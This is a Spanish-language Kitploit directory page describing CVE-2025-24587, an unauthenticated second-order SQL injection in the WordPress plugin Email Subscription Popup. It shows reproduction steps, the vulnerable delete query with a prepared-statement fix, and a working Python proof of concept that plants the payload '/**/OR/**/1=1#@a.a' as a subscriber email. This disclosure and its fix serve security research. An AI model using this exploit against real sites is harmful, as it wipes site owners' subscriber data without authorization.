Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-24587 — PoC de CVE-2025-24587 | Kitploit
Herramientas/GitHubGitHub/dottak/cve-2025-24587
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC de CVE-2025-24587

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-24587

1️⃣ Tipo de componente

Plugin de WordPress

2️⃣ Detalles del componente

Nombre del componente Email Subscription Popup

Versión vulnerable <= 1.2.23

Slug del componente email-subscribe

Enlace del componente https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

Clase de vulnerabilidad A3: Inyección

Tipo de vulnerabilidad Inyección SQL

4️⃣ Requisito previo

Sin autenticación

5️⃣ Detalles de la vulnerabilidad

👉 Descripción breve

Un usuario no autorizado (atacante) se suscribe al boletín usando una dirección de correo electrónico que contiene un payload de Inyección SQL. Más tarde, cuando el administrador navega a la página "Gestión de Suscriptores", selecciona la dirección de correo maliciosa y solicita la eliminación, el payload de Inyección SQL incrustado en la dirección de correo se ejecuta. Como resultado, todas las direcciones de correo suscritas se eliminan de la base de datos.

👉 Cómo reproducir (PoC)

  1. Prepare un sitio WordPress con el plugin "Email Subscription Popup" (versión ≤ 1.2.23) activado.
  2. Ejecute el archivo poc.py.txt (adjunto) usando Python para suscribirse al boletín con una dirección de correo que contenga un payload que desencadene la vulnerabilidad de Inyección SQL:
    • Dirección de correo: '/**/OR/**/1=1#@a.a
    • Nota: No es posible suscribirse usando esta dirección de correo a través del cliente (navegador) debido a la validación. En su lugar, envíe un paquete de solicitud HTTP directamente como se muestra en poc.py.txt.
  3. Inicie sesión como administrador y navegue a: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. Seleccione la dirección de correo '/****/**OR**/****/1=1#@a.a y haga clic en el botón "Eliminar suscriptores seleccionados" en la parte inferior.
  5. Como resultado, todas las direcciones de correo suscritas serán eliminadas.

👉 Información adicional (opcional)

[Causa de la Vulnerabilidad]

Esta vulnerabilidad ocurre en el archivo wp-content/plugins/email-subscribe/wp-email-subscription.php, específicamente entre las líneas 2080 y 2084:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

Para resolver este problema, puede usar $wpdb->prepare() proporcionado por WordPress. Esta función escapa y formatea de forma segura las variables utilizadas en las consultas SQL para prevenir ataques de inyección SQL.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ Código PoC

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ Demo del Exploit

video

7️⃣ Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
Descargar herramienta